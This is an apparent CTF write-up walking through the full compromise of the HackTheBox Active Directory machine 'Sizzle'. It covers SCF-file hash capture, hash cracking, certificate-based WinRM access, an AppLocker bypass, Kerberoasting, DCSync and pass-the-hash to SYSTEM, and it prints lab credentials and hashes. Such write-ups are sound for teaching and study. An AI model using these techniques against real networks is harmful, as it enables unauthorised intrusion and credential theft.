Sizzle is an insane level box on HackTheBox and utilizes a variety of Active Directory and Windows pentesting techniques in order to obtain Domain Admin. The route to an initial shell was quite difficult and unique, but the rest of the box was relatively simple.



An nmap scan, followed by a full port and script scan, reveals the following ports are open:

21/tcp   open     ftp           Microsoft ftpd
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst: 
|_  SYST: Windows_NT                      
80/tcp   open     http          Microsoft IIS httpd 10.0
| http-methods:              
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Site doesn't have a title (text/html).                                                                  
135/tcp  open     msrpc         Microsoft Windows RPC                                                                 
139/tcp  open     netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open     ldap          Microsoft Windows Active Directory LDAP (Domain: HTB.LOCAL, Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=sizzle.htb.local                                                                      
| Not valid before: 2018-07-03T17:58:55
|_Not valid after:  2020-07-02T17:58:55
|_ssl-date: 2022-04-19T03:49:51+00:00; +16m40s from scanner time.
445/tcp  open     microsoft-ds?
464/tcp  open     kpasswd5?
593/tcp  open     ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open     ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: HTB.LOCAL, Site: Default-First-Site-Name)
|_ssl-date: 2022-04-19T03:49:51+00:00; +16m40s from scanner time.
| ssl-cert: Subject: commonName=sizzle.htb.local
| Not valid before: 2018-07-03T17:58:55
|_Not valid after:  2020-07-02T17:58:55
3268/tcp open     ldap          Microsoft Windows Active Directory LDAP (Domain: HTB.LOCAL, Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=sizzle.htb.local
| Not valid before: 2018-07-03T17:58:55
|_Not valid after:  2020-07-02T17:58:55
|_ssl-date: 2022-04-19T03:49:51+00:00; +16m40s from scanner time.
3269/tcp open     ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: HTB.LOCAL, Site: Default-First-Site-Name)
|_ssl-date: 2022-04-19T03:49:51+00:00; +16m40s from scanner time.
| ssl-cert: Subject: commonName=sizzle.htb.local
| Not valid before: 2018-07-03T17:58:55
|_Not valid after:  2020-07-02T17:58:55
5985/tcp open     http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
5986/tcp open     ssl/http      Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_ssl-date: 2022-04-19T03:49:51+00:00; +16m40s from scanner time.
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
| tls-alpn: 
|   h2
|_  http/1.1
| ssl-cert: Subject: commonName=sizzle.HTB.LOCAL
| Subject Alternative Name: othername:<unsupported>, DNS:sizzle.HTB.LOCAL
| Not valid before: 2018-07-02T20:26:23
|_Not valid after:  2019-07-02T20:26:23
9389/tcp open     mc-nmf        .NET Message Framing

It was a bit odd how long the scan took. The box also would stop responding if I put the min-rate too high. Also, while there is anonymous ftp access, there is nothing there nor can I upload anything. The main interesting parts here are the lack of port 88/tcp (Kerberos), and 5986 showing up in the scan (WinRM with HTTPS). The lack of access to Kerberos makes us unable to use some common attacks like ASREProasting for hashes and users, as well as Kerberoasting for hashes. The website on port 80 is just a picture of bacon sizzling (haha).

Directory brute forcing with a few wordlists doesn’t return much, but using common.txt, I find a /certsrv endpoint. This means this domain is probably using Active Directory Certificate Services (ADCS).

└─# gobuster dir -u -t 50 -w /usr/share/wordlists/dirb/common.txt -x .aspx                                 
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
[+] Url:           
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              aspx
[+] Timeout:                 10s
2022/04/20 04:40:11 Starting gobuster in directory enumeration mode
/aspnet_client        (Status: 301) [Size: 157] [-->]
/certenroll           (Status: 301) [Size: 154] [-->]   
/certsrv              (Status: 401) [Size: 1293]                                        
/images               (Status: 301) [Size: 150] [-->]       
/Images               (Status: 301) [Size: 150] [-->]       
/index.html           (Status: 200) [Size: 60]                                          
2022/04/20 04:41:12 Finished

I also discovered that there is anonymous access to SMB and some shares using crackmapexec.

└─# crackmapexec smb -u Guest -p '' --shares        
SMB    445    SIZZLE           [*] Windows 10.0 Build 14393 x64 (name:SIZZLE) (domain:HTB.LOCAL) (signing:True) (SMBv1:False)
SMB    445    SIZZLE           [+] HTB.LOCAL\Guest: 
SMB    445    SIZZLE           [+] Enumerated shares
SMB    445    SIZZLE           Share           Permissions     Remark
SMB    445    SIZZLE           -----           -----------     ------
SMB    445    SIZZLE           ADMIN$                          Remote Admin
SMB    445    SIZZLE           C$                              Default share
SMB    445    SIZZLE           CertEnroll                      Active Directory Certificate Services share
SMB    445    SIZZLE           Department Shares READ            
SMB    445    SIZZLE           IPC$            READ            Remote IPC
SMB    445    SIZZLE           NETLOGON                        Logon server share 
SMB    445    SIZZLE           Operations                      
SMB    445    SIZZLE           SYSVOL                          Logon server share 

Connecting to the shares with smbclient \\\\\\Department\\ Shares reveals a large amount of directories. Each directory themselves has a log more. I recursively downloaded the files and fodlers, but there isn’t much. One folder, ZZ_ARCHIVE, has a lot of files, but they’re all the same size and somehow empty at the same time. I can check acls within my smbclient using showacl on, and I discovered that I have write access to the ZZ_ARCHIVE and \Users\Public directories.

smb: \users\> showacl on
smb: \users\> ls
MTIME:Wed Sep 26 01:45:32 2018
revision: 1
        ACL     Num ACEs:       5       revision:       2
                Specific bits: 0x1ff
                SID: S-1-1-0

The SID (Security Identifier) of S-1-1-0 is the “Everyone” SID. This means everyone can write to this, and ZZ_ARCHIVE. Based on this, we could try an scf/lnk/url attack. These attacks are on the basis of creating a file of the specified format, and then modifying the directives in them. In the case of the .scf and .url files, their icon directives will be the value of a file on our SMB share (although the file doesn’t have to exist). This will make it so that when the SMB share is opened and the .url/.scf file is displayed in the share, their computer will try to load the icon. This causes it to attempt to authenticate into our SMB share because we specified the icon to be sourced from it. Lastly, with our SMB server waiting, we will capture a hash, if this works. I used an .scf file, named @a.scf (to make it appear at the top of the share).


After putting it onto both the ZZ_ARCHIVE directory and \Users\Public, I got a hit from my SMB server.

└─# impacket-smbserver share . -smb2support                                    
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
[*] Incoming connection (,58413)
[*] User SIZZLE\amanda authenticated successfully
[*] amanda::HTB:aaaaaaaaaaaaaaaa:c071935133f5ff4db1227e20cea3170d:0101000000000000005841589454d801bc0c8fc31cc7537d00000000010010006d0075004b0068006b0052004e006d00030010006d0075004b0068006b0052004e006d0002001000440078007500660067004d004800720004001000440078007500660067004d004800720007000800005841589454d801060004000200000008003000300000000000000001000000002000008e00082aa56eba9d3193bdc347cb42dfae47621259447faf97ed32dfde509a4b0a0010000000000000000000000000000000000009001e0063006900660073002f00310030002e00310030002e00310036002e003200000000000000000000000000

This hash is an NetNTLMv2, and we can try to crack it with hashcat. Using hashcat on my host since my VM can’t run it for some reason, we use a directory attack (-a 0) with NetNTLMv2 as the mode (-m 5600), and rockyou as our wordlist.

└─$ ./hashcat.exe -a 0 -m 5600 hash rockyou.txt
hashcat (v6.2.4) starting

Success! With a domain user (amanda:Ashare1972), I can now try two things: first, enumerate the domain with bloodhound-python which will enumerate the domain remotely. Secondly, I will authenticate into WinRM if possible. I manage to capture some data and ingest it into bloodhound.

└─# bloodhound-python -u 'amanda' -p 'Ashare1972' -d htb.local -ns -c all
INFO: Found AD domain: htb.local
INFO: Connecting to LDAP server: sizzle.HTB.LOCAL
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: sizzle.HTB.LOCAL
WARNING: Could not resolve SID: S-1-5-21-2379389067-1826974543-3574127760-1000
INFO: Found 7 users
INFO: Connecting to GC LDAP server: sizzle.HTB.LOCAL
INFO: Found 52 groups
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: sizzle.HTB.LOCAL
INFO: Done in 00M 23S

First thing to note is that there is a clear vector here. My user, “Amanda”, has the “CanPSRemote” edge on the domain controller, SIZZLE.HTB.LOCAL. This means I can run remote powershell commands through WinRM on the computer, and this can be leveraged with the tool “evil-winrm”. Secondly, There is a user with the “GetChangesAll” edge on the domain. This is an edge that indicated DCSync privileges, meaning this user can essentially request domain information as apart of domain replication. While this is utilizes as a way for Domain Controllers to backup information, this includes password data, so if we can compromise that user, we can utilize DCSync to get hashes for all the users, including Domain Admins. Looking at this user a little closer, we see this:

This user has a Service Principle Name, meaning we can Kerberoast it because it is considered a service account. While we have the valid account necessary to do this, Kerberos isn’t accessible to us right now, so we need to port forward (or run Rubeus) after we get a foothold so we can Kerberoast this user and DCSync. By the way, Kerberoasting involves an authenticated user requesting a ticket to a service from the krbtgt. The krbtgt then returns a ticket to the service, which is encrypted with the service account’s password hash. Existing tools like impacket or Rubeus can extract the encrypted hash and allow us to decrypt it. With that all said, let’s get this plan going.


The first step is getting a foothold, so I try the most obvious move and attempt to utilize WinRM for reasons stated earlier.

└─# evil-winrm -i -u amanda -p Ashare1972

Evil-WinRM shell v3.3

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM Github:

Info: Establishing connection to remote endpoint

Error: An error of type WinRM::WinRMHTTPTransportError happened, message is Unable to parse authorization header. Headers: {"Server"=>"Microsoft-HTTPAPI/2.0", "Date"=>"Wed, 20 Apr 2022 09:28:06 GMT", "Connection"=>"close", "Content-Length"=>"0"}
Body:  (401).

Error: Exiting with code 1

If I had “CanPSRemote” on the computer, why did this fail? Well, based on seeing 5986 running, along with ADCS, it might be that WinRM is being done over HTTPS. Either that, or the machine uses certificate authentication through WinRM. ADCS uses PKI (Public Key Infrastructure); the server, or certificate authority, will have a series of public certificates that encrypt traffic, and clients will have a private key that can decrypt the messages. Evil-WinRM is able to use this, as we can see.

└─# evil-winrm -h
Evil-WinRM shell v3.3

Usage: evil-winrm -i IP -u USER [-s SCRIPTS_PATH] [-e EXES_PATH] [-P PORT] [-p PASS] [-H HASH] [-U URL] [-S] [-c PUBLIC_KEY_PATH ] [-k PRIVATE_KEY_PATH ] [-r REALM] [--spn SPN_PREFIX] [-l]
    -S, --ssl                        Enable ssl
    -c, --pub-key PUBLIC_KEY_PATH    Local path to public key certificate
    -k, --priv-key PRIVATE_KEY_PATH  Local path to private key certificate

Remember, there is a /certsrv endpoint, and this endpoint can be used to sign a certificate request by the certificate authority. This makes it such that the private key that is associated with the request, can be used to decrypt the traffic. We simple provide amanda’s credentials and access the endpoint.

Now let’s create an advanced certificate request. This will greet us with this page.

We need to create a PKCS #10 certificate request. This can be done with the following command (just leave any information it asks empty):

openssl req -out CSR.csr -new -newkey rsa:2048 -nodes -keyout privateKey.key

We now have a certificate request, CSR.csr, and an associated key, privateKey.key. The advanced request page asked for the copied and pasted contents of our certificate request, so just paste it all in.

After that, we can download the certified and signed certificate. Any format works, but just download the certificate itself, not the chain. We can now specify the SSL module in evil-winrm, as well as the private key, and our public certificate.

└─# evil-winrm -i /home/kali/HackTheBox/sizzle/certtesting/certnew.cer -k /home/kali/HackTheBox/sizzle/certtesting/privateKey.key -S
Evil-WinRM shell v3.3
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM Github:
Warning: SSL enabled
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\amanda\Documents>

Since the certificate was signed for amanda (the user we logged into at the /certsrv) endpoint, we get to authenticate as amanda. Also, based on how I didn’t need to provide my username and password, I believe this means that WinRM was authenticating using certificates over SSL.

Privilege Escalation

Now that we have a shell, we can continue our kill chain. Let’s try to Kerberoast. I’ll upload Rubeus by copying it over from an SMB server that I was hosting from earlier.

*Evil-WinRM* PS C:\Users\amanda\Documents> copy \\\share\Rubeus.exe 
*Evil-WinRM* PS C:\Users\amanda\Documents> .\Rubeus.exe kerberoast /creduser:htb.local\amanda /credpassword:Ashare1972
Program 'Rubeus.exe' failed to run: This program is blocked by group policy. For more information, contact your system administratorAt line:1 char:1
+ .\Rubeus.exe kerberoast /creduser:htb.local\amanda /credpassword:Asha ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~.
At line:1 char:1
+ .\Rubeus.exe kerberoast /creduser:htb.local\amanda /credpassword:Asha ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : ResourceUnavailable: (:) [], ApplicationFailedException
    + FullyQualifiedErrorId : NativeCommandFailed

It didn’t work. Checking the error returns results about Sopftware Restriction Policies and Applocker. We can try to check if AppLocker is running by running the following command

*Evil-WinRM* PS C:\Users\amanda\Documents> Get-ChildItem -Path HKLM:\SOFTWARE\Policies\Microsoft\Windows\SrpV2\Exe
    Hive: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\SrpV2\Exe

Name                           Property
----                           --------
a61c8b2c-a319-4cd0-9690-d2177c Value : <FilePathRule Id="a61c8b2c-a319-4cd0-9690-d2177cad7b51" Name="(Default Rule) All files located in the Windows folder" Description="Allows members of the Everyone group to run applications that are located in
ad7b51                         the Windows folder."
                                       UserOrGroupSid="S-1-1-0" Action="Allow"><Conditions><FilePathCondition Path="%WINDIR%\*"/></Conditions></FilePathRule>
d754b869-d2cc-46af-9c94-6b6e8c Value : <FilePathRule Id="d754b869-d2cc-46af-9c94-6b6e8c10d095" Name="All files located in the Program Files folder" Description="Allows members of the Everyone group to run applications that are located in the
10d095                         Program Files folder."
                                       UserOrGroupSid="S-1-1-0" Action="Allow"><Conditions><FilePathCondition Path="%OSDRIVE%\tmp\*"/></Conditions></FilePathRule>
fd686d83-a829-4351-8ff4-27c7de Value : <FilePathRule Id="fd686d83-a829-4351-8ff4-27c7de5755d2" Name="(Default Rule) All files" Description="Allows members of the local Administrators group to run all applications." UserOrGroupSid="S-1-5-32-544"
5755d2                                 Action="Allow"><Conditions><FilePathCondition Path="*"/></Conditions></FilePathRule>

We found our culprit. Luckily, there are many resources online to bypass Applocker. Using this repo of tips, I decided to utilize the C:\windows\temp directory. Applocker, by default, allows programs in C:\Windows to be ran, and we can write to this directory. We can simply copy over and run Rubeus there.

*Evil-WinRM* PS C:\Users\amanda\Documents> copy Rubeus.exe \Windows\temp\rubeus.exe                          
*Evil-WinRM* PS C:\Users\amanda\Documents> \Windows\Temp\Rubeus.exe kerberoast /creduser:htb.local\amanda /credpassword:Ashare1972
   ______        _                                                                                                    
  (_____ \      | |                           
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)   
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/


[*] Action: Kerberoasting

[*] NOTICE: AES hashes will be returned for AES-enabled accounts.
[*]         Use /ticket:X or /tgtdeleg to force RC4_HMAC for these accounts.

[*] Target Domain          : HTB.LOCAL
[*] Searching path 'LDAP://sizzle.HTB.LOCAL/DC=HTB,DC=LOCAL' for '(&(samAccountType=805306368)(servicePrincipalName=*)(!samAccountName=krbtgt)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))'

[*] Total kerberoastable users : 1

[*] SamAccountName         : mrlky
[*] DistinguishedName      : CN=mrlky,CN=Users,DC=HTB,DC=LOCAL
[*] ServicePrincipalName   : http/sizzle
[*] PwdLastSet             : 7/10/2018 2:08:09 PM
[*] Supported ETypes       : RC4_HMAC_DEFAULT
[*] Hash                   : $krb5tgs$23$*mrlky$HTB.LOCAL$http/sizzle@HTB.LOCAL*$4AA09103B9224BFC2EC429703F90

Woo!. By the way, I made sure to re-enter amanda’s creds in Rubeus for both good measure, and because of the WinRM Kerberos double hop issue. Basically, when we PSRemote and attempt to access any resource (in this case, Kerberos), our credentials aren’t passed over. Specifying them while running Rubeus fixes this issue. There is an authentication method that caches the credentials so they can be passed (CredSSP), but this makes it inherently more insecure. Anyways, time to crack this thing after stripping the whitespace.

└─$ ./hashcat.exe -a 0 -m 5600 hash rockyou.txt
hashcat (v6.2.4) starting

I just let hashcat take care of the mode detection since I forgot it. Anyways, we can continue our kill chain now. We can use “impacket-secrets-dump” to perform a DCSync and capture the hashes.

└─# impacket-secretsdump -just-dc mrlky:Football#7@
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash) 
[*] Using the DRSUAPI method to get NTDS.DIT secrets

And lastly, we can authenticate with the Domain Admin account using “impacket-psexec” and passing both the LM and NT hashes, respectively. PSExec is like WinRM, but it requires Admin access. It essentially will execute processes on other systems bu accessing the Admin$ share on SMB, deploying a service image of the executable being ran, and then utilizing RPC over SMB to control the Windows Service Control Manager API. This will turn on the PSExec service on the other computer and create a named pipe.

└─# impacket-psexec htb.local/Administrator@ -hashes aad3b435b51404eeaad3b435b51404ee:f6b7160bfc91823792e0ac3a162c9267
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation

[*] Requesting shares on
[*] Found writable share ADMIN$
[*] Uploading file cqaRnxGW.exe
[*] Opening SVCManager on
[*] Creating service Vwvm on
[*] Starting service Vwvm.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C:\Windows\system32> whoami
nt authority\system

Now all that’s left is to just read the flags.

C:\Windows\system32> type \users\administrator\desktop\root.txt

C:\Windows\system32> type \users\mrlky\desktop\user.txt


This box was really nice due to the integration of all these different AD and Windows techniques. I had a lot of fun doing it, although the steps weren’t too difficult. One thing to note too is that this box was vulnerable to ZeroLogon, which was pretty funny. Either ways, this box is super solid for anyone wanting to approach AD or get exposed to some more technologies.

-Dylan Tran 4/20/2022